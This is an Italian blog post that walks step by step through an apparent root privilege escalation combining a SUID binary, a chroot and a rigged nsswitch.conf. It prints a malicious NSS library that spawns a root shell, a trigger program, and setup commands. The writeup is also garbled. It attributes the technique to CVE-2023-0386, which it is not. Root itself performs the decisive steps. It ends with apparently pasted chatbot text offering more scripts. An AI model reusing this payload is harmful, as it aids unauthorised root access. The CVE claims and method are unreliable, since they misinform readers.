- Published on
CVE-2023-0386: Privilege Escalation via SUID and chroot con NSSwitch – Analisi e exploit passo passo
- Authors

- Name
- Alessandro Iannacone
CVE-2023-0386 è una vulnerabilità di privilege escalation scoperta in ambienti Linux in cui è possibile combinare:
- l'uso di binari SUID root,
- ambienti chroot non sicuri,
- e l’abuso del sistema di risoluzione degli utenti tramite nsswitch.conf,
per ottenere una shell root da utente non privilegiato.
🧠 Cos'è CVE-2023-0386 (alias "Chwoot")
Questa vulnerabilità consente a un utente non-root di sfruttare un binario SUID mal configurato all’interno di un chroot jail, in combinazione con un file nsswitch.conf manipolato, per caricare dinamicamente una libreria .so malevola.
In pratica: esegui un binario root-safe → carichi un
.soarbitrario → esegui codice come root.
⚙️ Ambiente di test: panoramica
| Ruolo | Nome utente | Permessi |
|---|---|---|
| Amministratore | root | Tutto |
| Attaccante | alessandro | Non privilegiato |
🔐 Fase 1 – Setup vulnerabilità (da root)
🔹 1. Crea il chroot vulnerabile
mkdir -p /tmp/chwoot/chroot/{bin,lib,lib64,etc}
🔹 2. Copia un binario e rendilo SUID
cp /bin/cp /tmp/chwoot/chroot/bin/
chmod u+s /tmp/chwoot/chroot/bin/cp
chown root:root /tmp/chwoot/chroot/bin/cp
⚠️ In realtà
cpnon caricansswitch.conf. Lo sistemiamo dopo.
🔹 3. Imposta il file nsswitch.conf malevolo
echo "passwd: myevilmodule" > /tmp/chwoot/chroot/etc/nsswitch.conf
🔹 4. Crea l’utente non-root
useradd -m alessandro
passwd alessandro
💣 Fase 2 – Preparazione exploit (come alessandro)
Effettua il login:
su - alessandro
🔹 5. Scrivi la libreria malevola
// myevilmodule.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/sh");
}
🔹 6. Compila la .so
gcc -shared -fPIC -o libnss_myevilmodule.so.2 myevilmodule.c
🔹 7. Chiedi a root di copiare la libreria nel chroot
su -
cp /home/alessandro/libnss_myevilmodule.so.2 /tmp/chwoot/chroot/lib/
🛠 Fase 3 – Trigger dell'exploit (da alessandro)
🔹 8. Scrivi un binario trigger che carica getpwuid()
// trigger.c
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
int main() {
struct passwd *pw;
pw = getpwuid(getuid());
printf("Hello %s\n", pw->pw_name);
return 0;
}
🔹 9. Compila:
gcc trigger.c -o trigger
🔹 10. Fatti copiare il binario nel chroot come SUID da root
su -
cp /home/alessandro/trigger /tmp/chwoot/chroot/bin/
chmod u+s /tmp/chwoot/chroot/bin/trigger
chown root:root /tmp/chwoot/chroot/bin/trigger
🔥 Fase 4 – Escalation a root (come alessandro)
Esegui il binario vulnerabile:
/tmp/chwoot/chroot/bin/trigger
🎉 Boom! Se tutto è andato bene, otterrai una shell root.
📌 Riepilogo dei permessi
| Azione | Utente |
|---|---|
| Setup ambiente | root |
| Scrittura libreria malevola | alessandro |
Copia in /lib e SUID trigger | root |
| Esecuzione exploit | alessandro |
🛡️ Mitigazioni
- ❌ Non usare
chrootcome meccanismo di isolamento - ❌ Non rendere
SUIDbinari non sicuri (cp,tar,busybox, ecc.) - ✅ Usa AppArmor, seccomp, namespaces reali
- ✅ Disabilita l’uso dinamico di
nssin ambienti chroot
📚 Risorse
- Exploit-DB #51179 – Privilege escalation via NSS
- CVE-2023-0386 – NVD
- Analisi tecnica di Qualys (chwoot)
🧪 Vuoi provare in modo sicuro?
Posso fornirti:
- uno
setup_chwoot_lab.shda eseguire comeroot - uno
exploit.shda eseguire come utente normale - oppure un
Dockerfileper simulare l’intero exploit
Fammi sapere!